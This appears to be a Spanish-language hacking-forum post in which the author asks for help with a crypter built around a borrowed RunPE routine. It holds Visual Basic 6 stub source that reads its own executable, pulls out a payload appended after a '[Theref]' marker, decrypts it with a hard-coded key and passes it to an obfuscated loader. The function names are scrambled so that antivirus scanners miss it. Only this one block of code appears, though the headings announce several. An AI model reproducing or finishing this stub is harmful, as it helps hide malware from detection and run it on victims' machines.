Decidí mientras eso pasa pasarme a otro crypT! para probar otras tool generadores de sources!
etc etc Y Experimentar con posibles TIPS funcionales a la fecha!
Cuando tome un RUNPE publicado por PINK! me salto el siguiente error a la llamada para el RUNPE! :s
Este es el codec del cliente :
Este es el codec del submain RC4 :
Este es el codec del Runpe :
ESTE ES EL ERROR! :
Código: Seleccionar todo
Sub Main()
Dim AAAA As String
AAAA = App.Path & "\" & App.EXEName & ".exe"
Dim BBBB As String
Open AAAA For Binary As #1
BBBB = Space(LOF(1))
Get #1, , BBBB
Close #1
Dim CCCC() As String
CCCC() = Split(BBBB, "[Theref]")
CCCC(1) = ¥¶V«baDJØǬpRÆRQSgfâdãqG(CCCC(1), "therefenge")
Call DsêqÈÇjr«®ØuM_ªVNN¥«ØwbDZuWL(AAAA, StrConv(CCCC(1), vbFromUnicode))
End Sub
Function ¥¶V«baDJØǬpRÆRQSgfâdãqG(qqJ¥e_BpX_YC¼sd¢êMGꩪj¤ó¦®ãIh As String, b®yqªÇ¤A¬d¥i¢xzlt¥Nuãªa¤WjMAIc As String) As String
Dim DiªQx¬Gâ£AALJisRMTƒYªyIúlnqØuj() As Byte
Dim WEScAÇrqãq¼¬¦óJRºuuw¶g£®mExª_E() As Byte
Dim ôSÈ_MQr¬OxmZ¥ƒf¥kHzªvãÆþÈwÇInQ As Long
Dim úZc_ïX¬CcêWVª¤lHGw¢VNPãi¦xpWY® As Long
Dim YYq£uGmfa_V«ãZVbFPmB_GoÇeï_uAQ As Long
Dim ØPêrsÇjÇOm¥ãhzóã£ãǼcznN£¬aMqã As Long
WEScAÇrqãq¼¬¦óJRºuuw¶g£®mExª_E() = StrConv(qqJ¥e_BpX_YC¼sd¢êMGꩪj¤ó¦®ãIh, vbFromUnicode)
DiªQx¬Gâ£AALJisRMTƒYªyIúlnqØuj() = StrConv(b®yqªÇ¤A¬d¥i¢xzlt¥Nuãªa¤WjMAIc, vbFromUnicode)
YYq£uGmfa_V«ãZVbFPmB_GoÇeï_uAQ = UBound(WEScAÇrqãq¼¬¦óJRºuuw¶g£®mExª_E)
ØPêrsÇjÇOm¥ãhzóã£ãǼcznN£¬aMqã = UBound(DiªQx¬Gâ£AALJisRMTƒYªyIúlnqØuj)
Do Until ôSÈ_MQr¬OxmZ¥ƒf¥kHzªvãÆþÈwÇInQ > YYq£uGmfa_V«ãZVbFPmB_GoÇeï_uAQ
WEScAÇrqãq¼¬¦óJRºuuw¶g£®mExª_E(ôSÈ_MQr¬OxmZ¥ƒf¥kHzªvãÆþÈwÇInQ) = WEScAÇrqãq¼¬¦óJRºuuw¶g£®mExª_E(ôSÈ_MQr¬OxmZ¥ƒf¥kHzªvãÆþÈwÇInQ) Xor DiªQx¬Gâ£AALJisRMTƒYªyIúlnqØuj(úZc_ïX¬CcêWVª¤lHGw¢VNPãi¦xpWY®)
úZc_ïX¬CcêWVª¤lHGw¢VNPãi¦xpWY® = úZc_ïX¬CcêWVª¤lHGw¢VNPãi¦xpWY® + 1
If úZc_ïX¬CcêWVª¤lHGw¢VNPãi¦xpWY® > ØPêrsÇjÇOm¥ãhzóã£ãǼcznN£¬aMqã Then úZc_ïX¬CcêWVª¤lHGw¢VNPãi¦xpWY® = 0
ôSÈ_MQr¬OxmZ¥ƒf¥kHzªvãÆþÈwÇInQ = ôSÈ_MQr¬OxmZ¥ƒf¥kHzªvãÆþÈwÇInQ + 1
Loop
Erase DiªQx¬Gâ£AALJisRMTƒYªyIúlnqØuj
¥¶V«baDJØǬpRÆRQSgfâdãqG = StrConv(WEScAÇrqãq¼¬¦óJRºuuw¶g£®mExª_E, vbUnicode)
Erase WEScAÇrqãq¼¬¦óJRºuuw¶g£®mExª_E
End Function
